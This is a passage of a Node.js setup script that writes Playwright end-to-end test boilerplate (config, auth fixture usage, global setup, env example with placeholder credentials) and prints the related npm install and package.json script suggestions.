// expect(results.violations).toEqual([]);
|
||||
});
|
||||
});
|
||||
`;
|
||||
|
||||
const authTest = `import { test, expect } from '../fixtures/auth';
|
||||
|
||||
test.describe('Authenticated User', () => {
|
||||
test('can access dashboard', async ({ authenticatedPage: page }) => {
|
||||
await page.goto('/dashboard');
|
||||
await expect(page).toHaveURL(/dashboard/);
|
||||
});
|
||||
});
|
||||
`;
|
||||
|
||||
const globalSetup = `import { chromium, FullConfig } from '@playwright/test';
|
||||
|
||||
async function globalSetup(config: FullConfig) {
|
||||
// Run once before all tests
|
||||
// Example: seed database, create test users
|
||||
|
||||
console.log('Global setup running...');
|
||||
|
||||
// Optional: Create authenticated state for reuse
|
||||
// const browser = await chromium.launch();
|
||||
// const page = await browser.newPage();
|
||||
// await page.goto(config.projects[0].use.baseURL + '/login');
|
||||
// // ... login flow
|
||||
// await page.context().storageState({ path: './playwright/.auth/user.json' });
|
||||
// await browser.close();
|
||||
}
|
||||
|
||||
export default globalSetup;
|
||||
`;
|
||||
|
||||
const componentTestConfig = `import { defineConfig, devices } from '@playwright/experimental-ct-react';
|
||||
|
||||
export default defineConfig({
|
||||
testDir: './src',
|
||||
testMatch: '**/*.ct.{ts,tsx}',
|
||||
fullyParallel: true,
|
||||
forbidOnly: !!process.env.CI,
|
||||
retries: process.env.CI ? 2 : 0,
|
||||
workers: process.env.CI ? 1 : undefined,
|
||||
reporter: 'html',
|
||||
use: {
|
||||
trace: 'on-first-retry',
|
||||
ctPort: 3100,
|
||||
},
|
||||
projects: [
|
||||
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
|
||||
{ name: 'firefox', use: { ...devices['Desktop Firefox'] } },
|
||||
],
|
||||
});
|
||||
`;
|
||||
|
||||
const envExample = `# Test environment variables
|
||||
BASE_URL=http://localhost:3000
|
||||
TEST_USER_EMAIL=test@example.com
|
||||
TEST_USER_PASSWORD=password
|
||||
`;
|
||||
|
||||
// File creation helper
|
||||
function writeFile(filePath, content) {
|
||||
const fullPath = path.join(targetDir, filePath);
|
||||
const dir = path.dirname(fullPath);
|
||||
|
||||
if (!fs.existsSync(dir)) {
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
}
|
||||
|
||||
if (fs.existsSync(fullPath)) {
|
||||
console.log(`⏭️ Skipping (exists): ${filePath}`);
|
||||
return;
|
||||
}
|
||||
|
||||
fs.writeFileSync(fullPath, content);
|
||||
console.log(`✅ Created: ${filePath}`);
|
||||
}
|
||||
|
||||
// Main execution
|
||||
console.log('\n🎭 Initializing Playwright with best practices...\n');
|
||||
|
||||
// Core files
|
||||
writeFile('playwright.config.ts', playwrightConfig);
|
||||
writeFile('tests/e2e/fixtures/auth.ts', authFixture);
|
||||
writeFile('tests/e2e/example.spec.ts', exampleTest);
|
||||
writeFile('tests/e2e/auth.spec.ts', authTest);
|
||||
writeFile('tests/e2e/global-setup.ts', globalSetup);
|
||||
writeFile('.env.test.example', envExample);
|
||||
|
||||
// Component testing (optional)
|
||||
if (includeComponentTesting) {
|
||||
writeFile('playwright-ct.config.ts', componentTestConfig);
|
||||
console.log('\n📦 Component testing config created. Install:');
|
||||
console.log(' npm install -D @playwright/experimental-ct-react');
|
||||
}
|
||||
|
||||
// Package.json scripts suggestion
|
||||
console.log('\n📝 Add to package.json scripts:');
|
||||
console.log(`
|
||||
"test:e2e": "playwright test",
|
||||
"test:e2e:ui": "playwright test --ui",
|
||||
"test:e2e:headed": "playwright test --headed",
|
||||
"test:e2e:debug": "playwright test --debug"
|
||||
`);
|
||||
|
||||
// Install commands
|
||||
console.log('\n📦 Install dependencies:');
|
||||
console.log(' npm install -D @playwright/test');
|
||||
console.log(' npx playwright install');
|
||||
|
||||
if (includeComponentTesting) {
|
||||
console.log(' npm install -D @playwright/experimental-ct-react');
|
||||
}
|
||||
|
||||
console.log('\n✨ Playwright setup complete!\n');
|
||||
Reference in New Issue
Block a user